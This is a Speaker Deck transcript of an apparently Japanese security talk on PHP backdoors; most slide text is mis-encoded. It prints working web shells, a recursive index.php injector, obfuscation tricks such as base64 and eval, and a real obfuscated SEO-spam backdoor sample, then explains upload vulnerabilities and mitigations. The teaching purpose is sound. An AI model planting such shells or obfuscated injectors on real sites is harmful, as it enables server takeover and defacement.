Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
作って理解するバックドア
Search
Roku
March 23, 2023
Technology
2.2k
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
作って理解するバックドア
Roku
March 23, 2023
More Decks by Roku
See All by Roku
Laravel のセキュリティはどうなってる?突撃ソースコードリーディング(PHPカンファレンス福岡2024)
ad5jp
1
1.5k
本当にあった怖い脆弱性の話
ad5jp
22
41k
Other Decks in Technology
See All in Technology
Claude in Chrome 入門 / Introduction to Claude in Chrome
cielo1985
0
810
20260912_スクフェス三河
kgnkhkr
0
380
Amazon Quick on DesktopがIAM Identity Centerで動かない理由
yukiogawa
0
190
幾何アルゴリズムで なめらかなピン操作を / iOSDC Japan 2026 / smoothpin
kazumanagano
0
350
今話題のAI「Jev」って何? 宇宙最速で学ぶ会
minorun365
PRO
21
12k
映像変換サーバーなしで端末内でHLSを生成してライブ配信
hikarusato
0
110
生成AIエージェントを用いた、 手動テスト手順書から自動テストへの 変換手法の検討
magicpod
0
160
データ界隈LT祭 第1回LT登壇
taromatsui_cccmkhd
1
1.3k
積み重なった技術負債への挑戦 〜初手としての全社ゴト化〜
techtekt
PRO
0
1.2k
aws-iot-platform-architecture-use-cases.pdf
ma2shita
0
130
20260912_スクラムにジェネラリストは必要か
ryugen04
0
420
すぐできる衛星通信対応 あとは山奥に行くだけ
tatetate55
0
130
Featured
See All Featured
Design and Strategy: How to Deal with People Who Don’t "Get" Design
morganepeng
133
19k
Impact Scores and Hybrid Strategies: The future of link building
tamaranovitovic
0
440
Keith and Marios Guide to Fast Websites
keithpitt
413
23k
Evolving SEO for Evolving Search Engines
ryanjones
0
290
sira's awesome portfolio website redesign presentation
elsirapls
0
410
Building Applications with DynamoDB
mza
96
7.2k
The MySQL Ecosystem @ GitHub 2015
samlambert
251
13k
The Curse of the Amulet
leimatthew05
3
14k
Building Experiences: Design Systems, User Experience, and Full Site Editing
marktimemedia
1
610
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
21
1.6k
How to Ace a Technical Interview
jacobian
281
24k
Fashionably flexible responsive web design (full day workshop)
malarkey
409
67k
Transcript
࡞ͬͯཧղ͢ΔόοΫυΞ -FU`T%*:
ࣗݾհ w גࣜձࣾ"%ද w ొ த ηΩεϖʢʙʣ w 1)1FS,BJHJొஃ
ʮຊʹ͋ͬͨා͍੬ऑੑͷʯ 3PLV !BEKQ
ຊΞʔΩςΫνϟͱ͔ ϢχοτςετΈ͍ͨͳ ΩϥΩϥ͕͍͚ͨͨ͠͠ΕͲɺ ಙ̋͞Μͷޙ佂తϙδγϣϯΛૂͬͯɺ ࠓճηΩϡϦςΟωλͰ͢ɻ
΄Ͳલͷ͓ w ,͞Μʮ3PLV͞ʔΜʂIUBDDFTT͕ফͤͳ͍ΜͰ͢ʢٽʣʯ w ʮʢ͋͋ɺύʔϛογϣϯ͔ͳʁʣͲ͜ͷαΠτͰ͔͢ʁʯ w ,͞ΜʮʓʓͰ͢ɻαΠτશମ͕ݟ͑ͳ͘ͳͬͯͯʢٽʣʯ w ʮʢϙνϙνʣɾɾɾ͋Εʁফͤ·ͨ͠Αʯ w
,͞ΜʮԿফ͓͖ͯ͠ʹ෮׆͢ΔΜͰ͢ʢྦʣʯ
ͦΕɺόοΫυΞͰ͢ɻ
ࠓճͷ༰ w όοΫυΞͷ֓ཁ w όοΫυΞͷ࡞Γํͱ࣮ྫ w όοΫυΞͷରࡦ
όοΫυΞͷ֓ཁ
࣮ԋ w ͋Δͱ͜ΖʹɺԿͷมͳ͍ϝʔϧϑΥʔϜ͕͋Γ·ͨ͠ɻ
࣮ԋ w ѱ͍ਓ͕ϑΝΠϧ͕͜ΜͳϑΝΠϧΛΞοϓϩʔυ͠·ͨ͠ɻ SFXSJUFJOEFYQIQ <?php $path = __DIR__
. '/../../../public/index.php'; $code = "<?php die('you have been hacked :)');"; file_put_contents($path, $code); die('success');
࣮ԋ w ͦͯ͠ɺϑΝΠϧͷϓϨϏϡʔϦϯΫΛΫϦοΫ͠·ͨ͠ɻ
࣮ԋ w ͦͯ͠ɺϑΝΠϧͷϓϨϏϡʔϦϯΫΛΫϦοΫ͠·ͨ͠ɻ
࣮ԋ w αΠτશମ͕͜͏ͳΓ·ͨ͠ɻ
߈ܸ༻ϑΝΠϧ͍Ζ͍Ζ w ͬͱλνѱ͍ͭɻ <?php $path = __DIR__ . '/../../../public/index.php'; $code
= "<?php header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success');
߈ܸ༻ϑΝΠϧ͍Ζ͍Ζ w యܕతʹ͜Εɻ <?php file_put_contents($_POST['path'], $_POST['code']); <?php exec($_POST['command']);
͜ΜͳϑΝΠϧΛΞοϓϩʔυ͞ΕͨΒ w ୈࡾऀ͕αʔόΛࣗ༝ʹૢ࡞Ͱ͖Δͷͱಉ͡ ʹαʔόͷཪޱʢόοΫυΞʣ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕʢ·ͱΊʣ w ࠷ॳͷ߈ܸ༻ϑΝΠϧ͕ɺ੬ऑੑΛ௨ͯ͡αʔόʹஔ͔ΕΔ ˣ w ओతͰ͋Δվ͟ΜΛߦ͍ͭͭɺ ୈ̎ɼୈ̏ͷ߈ܸ༻ϑΝΠϧΛผͷॴʹஔ͘ɻ
ˣ w ࠷ॳͷ߈ܸ༻ϑΝΠϧ͕ۦআ͞Εͯɺୈ̎ɺୈ̏ͷ ߈ܸ༻ϑΝΠϧʹΑΓɺվ͟ΜΛ܁Γฦ͢ɻ
ͭ·ΓόοΫυΞ w੬ऑੑͦͷͷͰͳ͘ɺ ߈ܸతͦͷͷͰͳ͍ɻ wҰޭͨ͠߈ܸΛܧଓతʹߦ͍͘͢ɺ ·ͨۦআ͠ʹ͘͘͢ΔͨΊͷதؒखஈɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ
߈ܸͷओత ΤϯτϦʔϙΠϯτ JOEFYQIQ IUBDDFTTΛվ͟Μ͠ɺ w ϢʔβΛ߈ܸऀͷαΠτʹඈ͢ɻ w ةݥͳϑΝΠϧΛμϯϩʔυͤ͞Δɻ w %%P4߈ܸͷ౿Έʹ͢Δɻ
w FOWͷใΛൈ͖औΔɻ w ηογϣϯ͔ΒϢʔβͷൿີใΛൈ͖औΔɻ
όοΫυΞͷ࡞Γํ
͖ͬ͞ͷαϯϓϧ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success');
͖ͬ͞ͷαϯϓϧ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success'); ͜Μͳվ͟ΜͳΒ·ͩϚγɻ
άϨʔυΞοϓ <?php $code = <<<'EOM' <?php if (empty($_SESSION) && empty($_COOKIE))
{ header('Location: https://ad5.jp'); } ?> EOM; $path = __DIR__ . '/../../../public/index.php'; $code .= file_get_contents($path, $code); file_put_contents($path, $code);
άϨʔυΞοϓ <?php $code = <<<'EOM' <?php if (empty($_SESSION) && empty($_COOKIE))
{ header('Location: https://ad5.jp'); } ?> EOM; $path = __DIR__ . '/../../../public/index.php'; $code .= file_get_contents($path, $code); file_put_contents($path, $code); ཧऀ։ൃऀ͕ؾ͔ͮͳ͍͏ͪʹɺ ৽ن๚ऀ͚͕ͩඈ͞Εଓ͚Δɻ
͜ΜͳύεܾΊଧͪͷ߈ܸ ͨΔΘ͚ͶʔͩΖ͆͆͆
HMPC Λͬͯ૯ͨΓ <?php function prepend($path) { $code .= file_get_contents($path, “…߈ܸ༻ίʔυ…”);
file_put_contents($path, $code); } function prependRecursive($path) { if (file_exists("{$path}/index.php")) { prepend("{$path}/index.php"); } foreach (glob("{$path}/*") as $child) { if (is_dir($child)) { prependRecursive($child); } } } prependRecursive($_SERVER["DOCUMENT_ROOT"]);
ൃݟ͞Εʹ͍͘ϑΝΠϧΛૂ͏ w ϑϨʔϜϫʔΫʹඞͣଘࡏ͢ΔϑΝΠϧΛվ͟Μ ྫʣQVCMJDJOEFYQIQ w ϑϨʔϜϫʔΫʹ͍͔ʹ͋Γͦ͏ͳ໊લͷϑΝΠϧΛઃஔ ྫʣMPBEQIQ
MPDBMFQIQ w HJUJHOPSF͞Ε͍ͯΔσΟϨΫτϦʹϑΝΠϧΛઃஔ ྫʣTUPSBHFQVCMJD
8PSE1SFTTͳΒɾɾɾ w XQBENJOXQJODMVEFTͷϑΝΠϧΛվ͟Μɺ ·ͨϑΝΠϧΛઃஔ w XQDPOUFOUQMVHJOTYYYͷϑΝΠϧΛվ͟Μɺ ·ͨϑΝΠϧΛઃஔ w
XQDPOUFOUVQMPBETʹϑΝΠϧΛઃஔ
GJMF@QVU@DPOUFOU ͱ͔ GXSJUF ͱ͔ͰHSFQͨ͠Β ۦআͰ͖ΔΜ͡ΌͶʁ
ྫ͑͜ͷίʔυ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code);
͜͏ͯ͠ <?php eval("$path = __DIR__ . '/../../../public/index.php'; $code = \"<?php
header('Location: https://ad5.jp'); \";file_put_contents($path, $code)");
͜͏͢Δͱ <?php eval(base64_decode("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8 uLi9wdWJsaWMvaW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZG VyKCdMb2NhdGlvbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1d F9jb250ZW50cygkcGF0aCwgJGNvZGUp"));
GJMF@QVU@DPOUFOU ফ͑·ͨ͠ɻ
͡Ό͋ɺFWBM ͱ͔ CBTF@EFDPEF Ͱ HSFQ͢Ε͍͍Μ͡ΌͶʁ
1)1͞ΜॊೈͳΜͰ͢ɻ <?php $a = "eval"; $b = “base64_encode"; $a($b("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8uLi9wdWJsaWMv aW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZGVyKCdMb2NhdGl
vbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1dF9jb250ZW50cy gkcGF0aCwgJGNvZGUp"));
1)1͞ΜॊೈͳΜͰ͢ɻ <?php $x = '0123456789abcdefghijklmnopqrstuvwxyz_'; $a = $x[14].$x[31].$x[10].$x[21]; $b =
$x[11].$x[10].$x[28].$x[14].$x[6].$x[4].$x[36]. $x[13].$x[14].$x[12].$x[24].$x[13].$x[14]; $a($b("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8uLi9wdWJsaWMv aW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZGVyKCdMb2NhdGl vbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1dF9jb250ZW50cy gkcGF0aCwgJGNvZGUp"));
ίʔυ͔ΒҰͷ ͕ؔফ͑·ͨ͠
HSFQແཧͰ͢ɻ
˞͓அΓ w ઌఔͷίʔυ̍ӕ͕͋Γ·͢ɻ FWBMؔͰͳ͘ݴޠߏͷͨΊɺ ಈ͖·ͤΜɻ w
࣮ࡍͷஈͷಡԽʹɺ DSFBUF@GVODUJPO ؔ 1)1 ͕ΘΕ͍ͯΔͷ͕ ଟ͘ݟΒΕ·ͨ͠ɻ $a = "eval"; $a();
࣮ࡍʹ࠾ूͨ͠όοΫυΞ MPDBMFQIQ ˞ CZUF <?php $tJvyYsXGpmgwi='y(3;]whcx)8$4mb dk1qog5sprlua=z_/ 0i9tvf_”76*.2n[je';$q2866=$tJvyYsXGpmgwi[(105/15)]. $tJvyYsXGpmgwi[(26-1)].$tJvyYsXGpmgwi[(1*49)]. $tJvyYsXGpmgwi[((10*1)+18)].$tJvyYsXGpmgwi[(14+22)].
$tJvyYsXGpmgwi[(44+5)].$tJvyYsXGpmgwi[(44-13)].$tJvyYsXGpmgwi[(684/18)]. $tJvyYsXGpmgwi[(23+4)].$tJvyYsXGpmgwi[(72-(33-7))]. $tJvyYsXGpmgwi[(154/22)].$tJvyYsXGpmgwi[(11+25)].$tJvyYsXGpmgwi[(65- (62-31))].$tJvyYsXGpmgwi[(26-6)].$tJvyYsXGpmgwi[((27*2)-8)]; $pHFdNhg9688=$tJvyYsXGpmgwi[(20-9)].$tJvyYsXGpmgwi[(2*4)]. $tJvyYsXGpmgwi[(29*1)].$tJvyYsXGpmgwi[(160/4)]; $MYtraky2482=$tJvyYsXGpmgwi[(8*5)].$tJvyYsXGpmgwi[((1+0)+2)]. $tJvyYsXGpmgwi[(6+(1*(95/19)))].$tJvyYsXGpmgwi[(140/5)]. $tJvyYsXGpmgwi[(522/18)].$tJvyYsXGpmgwi[(7*((7-3)-2))]. …ུ…
ղಡ͢Δͱ͜͏ͳͬͯͨɻ <?php $x=“‘7RxrU9tI8jP8CqGiIvtWyCYJSRYwgSTO4y4BziZ3l98Q…ུ…“; $a=base64_decode($x); $b=gzinflate($a); eval($b);
EFDPEF͢Δͱɻ <?php error_reporting(0); @set_time_limit(3600); @ignore_user_abort(1); $xmlname = 'mapss.xml'; $dt =
0; $sitemap_file = 'sitemap'; $mapnum = 2000; if(isset($_GET['dt'])){ $dt = $_GET['dt']; } $site = @$_GET['smsite']; $jdir = ''; $http_web = 'http'; if(is_https()){ $http = 'https'; }else{ …ུ…
MPDBMFQIQͷಛ w (PPHMFʹِͷαΠτϚοϓΛૹ͍ͬͯΔɻ ˠ4FBSDI$POTPMFݕࡧ݁ՌͷΞϥʔτʹΑΓɺ ɹӡӦऀϢʔβʹؾ͔ͮΕΔͷΛ͙ͨΊɻ w $44ը૾ͷೖͬͨσΟϨΫτϦΛૂ͍ͬͯΔɻ w
ϑΝΠϧʹॻ͖ࠐΉ༰Λ֎෦63-͔Βऔಘ͍ͯ͠Δɻ ˠ͓ͦΒ͘߈ܸऀͷ࢘ྩ༻αʔόɻ͜ͷ༰Λมߋ͢Δ͜ͱͰ ɹ߈ܸ༻ϑΝΠϧΛมߋͤͣͱɺ߈ܸ༰Λม͑ΒΕΔɻ
શจ͓Αͼଞͷαϯϓϧͪ͜Β͔ΒͲ͏ͧ HJUIVCDPNBEKQQIQFSLBJHJ
όοΫυΞͷରࡦ
ઃஔ͞Εͳ͍Α͏ʹ͢Δɻ
Ҏ্ɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ ࠓ͜Εʹߜ͓ͬͯ͠·͢ɻ
࣮ԋʹ༻͓͍ͨ͠߹ΘͤϑΥʔϜ public function goConfirm(InquiryRequest $request) : RedirectResponse { $data =
$request->input(); $saving_path = storage_path('app/public/' . $_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $saving_path); chmod($saving_path, 0755); $data['file_name'] = $_FILES['file']['name']; $data['file_url'] = url('storage/', $_FILES['file']['name']); session()->put('inquiry', $data); return redirect()->route('confirm'); }
ྲྀੴʹ͜Μͳ࣮͢Δਓ ͍ͳ͍ͱࢥ͍·͕͢ɾɾɾ
͡Ό͋ɺ͜Ε҆શͰ͔͢ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
͡Ό͋ɺ͜Ε҆શͰ͔͢ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ } ͔݁Βݴ͑ɺ΄ͱΜͲͷ݅ԼͰηʔϑͰ͢ɻ Կނηʔϑͳͷ͔ɺͲ͏͍͏݅ԼͰةݥͳͷ͔ɺ ͑ΒΕ·͔͢ʁ
ͳͥ͜Μͳ͜ͱΛ㘤͘ͷ͔ɻ w୭ɺ੬ऑੑΛ࡞Ζ͏ͱࢥͬͯ࡞͍ͬͯͳ͍ɻ w࣮ࡍͷϓϩμΫτͷ༷ෳࡶͰɺ ίʔυෳࡶʹೖΓΜͰ͍Δɻ ͦͷ݁Ռɺ͕ൃੜ͢Δ͕݅ͨ·ͨ·ἧͬͯ͠·͍ɺ ੬ऑੑ͕ੜ·Εͯ͠·͏ɻ wਖ਼֬ͳཧղ͕ॏཁɻ
߈ܸͷཱ݅ ᶃ1)1ͷεΫϦϓτϑΝΠϧ͕ΞοϓϩʔυͰ͖ͯ͠·͏ɻ ᶄΞοϓϩʔυઌ͕ಉҰαʔόͷެ։σΟϨΫτϦͰ͋Δɻ ᶅΞοϓϩʔυ͞ΕͨϑΝΠϧ͕࣮ߦՄೳͰ͋Δɻ
ཱ݅ͱରࡦ ᶃ1)1ͷεΫϦϓτϑΝΠϧ͕ΞοϓϩʔυͰ͖ͯ͠·͏ɻ ˠ.JNF5ZQFΛνΣοΫ͠ɺඞཁ࠷খݶͷछྨͷϑΝΠϧͷ ɹΞοϓϩʔυͷΈڐՄ͢Δɻ ɾɾɾཁ݅ʹΑͬͯ.JNF5ZQFͷ੍ݶ͕ࠔͳ߹͋Δɻ
ཱ݅ͱରࡦ ᶄΞοϓϩʔυઌ͕ಉҰαʔόͷެ։σΟϨΫτϦͰ͋Δɻ ˠΞοϓϩʔυϑΝΠϧΛඇެ։σΟϨΫτϦʹஔ͍ͯ ɹ͍Εɺ߈ܸʹ༻͞ΕΔ͜ͱͳ͍ɻ ɹ·ͨɺΞϓϦέʔγϣϯͷઃஔ͞Εͨ8FCαʔόͱผͷ ɹॴʹϑΝΠϧΛஔ͍͍ͯΕɺ߈ཱܸ͠ͳ͍ɻ
ɾɾɾ͜Εཁ݅࣍ୈͰ࣮ݱͰ͖ͳ͍߹ɻ ɹɹɹͦͦຊ࣭తରࡦͰͳ͍ɻ
ཱ݅ͱରࡦ ᶅΞοϓϩʔυ͞ΕͨϑΝΠϧ͕࣮ߦՄೳͰ͋Δɻ ΑΓ۩ମతʹɺҎԼͷ̎݅ɻ "1)1$(*ͱͯ͠ղऍ͞ΕΔʢ࣮ߦ༻ͷϋϯυϥʹ ɹϚοϓ͞Ε͍ͯΔʣϑΝΠϧ໊Ͱอଘ͞ΕΔɻ #࣮ߦՄೳͳύʔϛογϣϯͰอଘ͞ΕΔɻ
ཱ݅ͱରࡦ ᶅ"1)1$(*ͱͯ͠ղऍ͞ΕΔϑΝΠϧ໊Ͱอଘ͞ΕΔɻ Ұൠతʹɺ֦ுࢠ͕QIQͰͳ͚Εɺ1)1ͱ࣮ͯ͠ߦ͞ΕΔ ͜ͱͳ͍ɻ ʢ1)1ίʔυ͕ॻ͔Ε͍ͯͯɺ୯ͳΔςΩετϑΝΠϧ ɹͱͯ͠ѻΘΕΕແʣ ˞ୠ͠ɺ্ه8FCαʔόͷઃఆʹґଘ͢Δʢޙड़ʣɻ
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ } σϑΥϧτͰɺQIQϑΝΠϧΛΞοϓϩʔυͨ͠߹ɺ ֦ுࢠͳ͠ʹͳΔɻ
6QMPBEFE'JMFTUPSF ͷ࣮ 6QMPBEFE'JMFIBTI/BNF ʹΑΓϑΝΠϧ໊͕ܾఆ͞ΕΔɻ ֦ுࢠɺ'JMFHVFTT&YUFOUJPO ʹΑܾͬͯΊΒΕΔɻ 1)1ϑΝΠϧΛΞοϓϩʔυͨ͠߹ɺ.JNF5ZQF
UFYUYQIQͱͳΓɺ.JNF5ZQF."1ͷఆٛʹै͍ɺ ֦ுࢠͳ͠Ͱ֨ೲ͞ΕΔɻ 6QMPBEFE'JMFʜ*MMVNJOBUFa)UUQa6QMPBEFE'JMF 'JMFʜ4ZNGPOZa$PNQPOFOUa)UUQ'PVOEBUJPOa'JMFa'JMF .JNF5ZQFTʜ4ZNGPOZa$PNQPOFOUa.JNFa.JNF5ZQFT
ྫ֎ ͨͩ͠ɺ͜ͷڍಈɺ.JNF5ZQFEFGBVMUΛηοτ͢Δ͜ͱ ͰมߋՄೳͰ͋Δɻ ੩తϓϩύςΟͰ͋ΔͨΊɺྫ͑4FSWJDF1SPWJEFSͰ ηοτ͍ͯ͠ΕɺΞϓϦέʔγϣϯશମʹӨڹ͕ٴͿɻ .JNF5ZQFTʜ4ZNGPOZa$PNQPOFOUa.JNFa.JNF5ZQFT
͜Μͳ࣮ɺΓ͕ͪɻ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $filename = Carbon::now()->format(‘Ymd_His.') . $uploaded_file->getClientOriginalExtension(); $path = $uploaded_file->storePubliclyAs('upload', $filename , ['disk' => 'public']); //ུ } ϑΝΠϧ໊ʹ*%ͷϧʔϧΛ࣋ͨͤͯอଘ͢Δ߹ɻ HFU$MJFOU0SJHJOBM&YUFOTJPO ΑΓHVFTT&YUFOUJPO
ͦͦ ྫ͑"QBDIFͷ߹ɺIUUQEDPOGIUBDDFTTʹ ͷΑ͏ʹهड़͞Ε͍ͯΕɺ֦ுࢠIUNMͰΞτɻ ཧ্ɺઃఆ࣍ୈͰɺ͋ΒΏΔ໊લͷϑΝΠϧ͕1)1ͱͯ͠ ࣮ߦՄೳͰ͋Δɻ 8FCαʔόͷઃఆʹґଘ͖͢Ͱͳ͍ɻ AddHandler php-script .php
.html
ཱ݅ͱରࡦ ᶅ#࣮ߦՄೳͳύʔϛογϣϯͰอଘ͞ΕΔɻ 1)1ʹΑͬͯઃஔ͞ΕͨϑΝΠϧͷॴ༗ऀɺ௨ৗ1)1ͷ࣮ߦ ϢʔβͰ͋ΔͨΊɺॴ༗ऀͷ࣮ߦݖݶ͕͋ΕΞτɻ ˠSXYSXYSXYˠΞτ ˠSXSXSXˠηʔϑ ˠSXYSYSYˠΞτ
ˠSXSSˠηʔϑ ˠSXYˠΞτ
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
6QMPBEFE'JMFTUPSF ͷ࣮ ιʔείʔυϦʔσΟϯάׂѪ͠·͕͢ɾɾɾ ઃఆϑΝΠϧDPO fi H fi MFTZTUFNTQIQ ͷEJTLTQVCMJDQFSNJTTJPOTͷઃఆʹґଘ͠·͢ɻ
σϑΥϧτͰɺσΟϨΫτϦ·ͨʹɺ ϑΝΠϧ·ͨʹͳ͍ͬͯ·͢ɻ ˠ͜ͷઃఆΛมߋ͍ͯ͠ͳ͍ݶΓɺ ɹલड़ͷίʔυύʔϛογϣϯʹͳΓ·͢ɻ
ͪΖΜɺ ࣗྗͰDINPE QBUI ͱ͔ͯͨ͠ΒΞτͰ͢ɻ TUPSBHFϑΥϧμύʔϛογϣϯʹ͢͠ɺ ͱ͍͏ޡͬͨղઆΛɺ͞ΒʹऔΓҧ͑ͯɺ ϑΝΠϧอଘޙʹɺΘ͟Θ͟ύʔϛογϣϯʹ
มߋ͍ͯ͠Δ࣮ɺݟͨ͜ͱ͋Γ·͢ɻɻɻ
ͪͳΈʹ͜ͷ߹ public function goConfirm(InquiryRequest $request) : RedirectResponse { $data =
$request->input(); $saving_path = storage_path('app/public/' . $_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $saving_path); //ུ } ύʔϛογϣϯͲ͏ͳΔ͔ɺ͑ΒΕ·͔͢ʁ
GJMF@QVU@DPOUFOU ͷύʔϛογϣϯ w 04ͷઃఆʢVNBTLʣʹґଘ͠·͢ɻ ଟ͘ͷڥͰɺσΟϨΫτϦ ·ͨ ɺ ϑΝΠϧ
·ͨ Ͱ͢ɻ w 04ͷઃఆʹґଘ͖͢Ͱͳ͘ɺΞϓϦέʔγϣϯͰ ໌ࣔతʹରॲ͖͢Ͱ͢ɻ
·ͱΊʢ$8&ͷରࡦʣ w ཁٻ্༷ՄೳͳΒɺΞοϓϩʔυՄೳͳϑΝΠϧΛ .JNF5ZQFͰඞཁ࠷খݶͷͷͷΈʹ੍ݶ͢Δɻ w ΞοϓϩʔυޙͷϑΝΠϧ࣮ߦෆՄೳͳύʔϛογϣϯʹɻ w ΞοϓϩʔυޙͷϑΝΠϧ࣮ߦෆՄೳͳϑΝΠϧ໊ʹɻ w
-BSBWFMͷ6QMPBEFE'JMFTUPSF Ͱ͑͞ɺ ͍͔ͭ͘ͷ͕݅ॏͳΕةݥͳ࣮ʹͳΔɻ
αʔυύʔςΟϥΠϒϥϦཁҙ w +7/%# 8PSE1SFTT༻DPOUBDUGPSNϓϥάΠϯʹ͓͚Δةݥͳλ ΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυʹؔ͢Δ੬ऑੑ w +7/%# .PWBCMF5ZQFͷ9.-31$"1*ʹ͓͚Δ04ίϚϯυΠϯδ
ΣΫγϣϯͷ੬ऑੑ ˠͲͪΒɺେྔͷόοΫυΞඃΛൃੜͤ͞·ͨ͠ɻ
͏ͪ8PSE1SFTT Θͳ͍͔Βେৎʁ
օ͞Μͷ͓٬༷ͷଟ͕͘ɺ w ڪΒ͘8PSE1SFTTΛ༻͍ͯ͠·͢ɻ w ࣗࣾͷೲอकରͰͳ͘ͱɺ ͍͟ࠔͬͨΒօ͞Μʹ૬ஊ͕དྷΔͣͰ͢ɻ w ର؛ͷՐࣄͰͳ͘ɺҙשى͍͖ͯ͠·͠ΐ͏ɻ
ͦͯ͠ͳʹΑΓɺ w όοΫυΞͷଟ͕͘1)1Ͱॻ͔Ε͍ͯ·͢ɻ w1)1FSͱͯ͠ɺաͰ͖·ͤΜɻ
όοΫυΞΛઃஔ͞Εͯ ͠·ͬͨΒ
جຊํ w લड़ͷͱ͓ΓɺશۦআۃΊ͍ͯ͠Ͱ͢ɻ w ·ͣɺࠜຊݪҼͱͳΔ੬ऑੑΛಛఆ͠ɺഉআ͢Δɻ w ͦͷޙɺผͷαʔόΛཱͯɺ "߈ܸΛड͚ΔલͷόοΫΞοϓ͔ΒϦετΞ͢Δɻ
#ࢹ֬ೝ͠ͳ͕Βɺ࣮֬ʹ҆શͳϑΝΠϧͷΈΛҠߦɻ
ઈࠎ͕ંΕΔ্ɺ શ͘ੜ࢈ੑͷͳ͍࡞ۀͳͷͰɺ ࢮʹͨ͘ͳΓ·͢ɻ
ΒΕ͔ͯΒͰ͍Ͱ͢ɻ
ฐ্࢙ࣾ൪࠷ѱͩͬͨόοΫυΞରԠ w 8FC੍࡞ձࣾ͞Μ͔Βٽ͖͔ͭΕͯɺରԠɻ w Ҏ্ͷαΠτ͕ɺϨϯαόͷϚϧνυϝΠϯͰ ӡ༻͞Ε͓ͯΓɺಓ࿈Εඃɻ ˠҕୗݩ͔ΒΫϨʔϜͷཛྷɻ
ˠݪҼಛఆࣗମ͕ۃΊͯߤɻ ˠϦετΞҠඇݱ࣮తɻ w શղܾʹϲ݄ۙ͘Λཁͨ͠ɻ
͏Ұݴ͍·͢ɻ ΒΕ͔ͯΒͰ͍Ͱ͢ɻ
ձࣾհ IUUQTBEKQ w େࡕͷडୗϕϯμʔͰ͢ɻ w Θ͍Θ͍ΨϠΨϠͬͯΔձࣾͰ͢ɻ w ΤϯδχΞਵ࣌ืूதɻ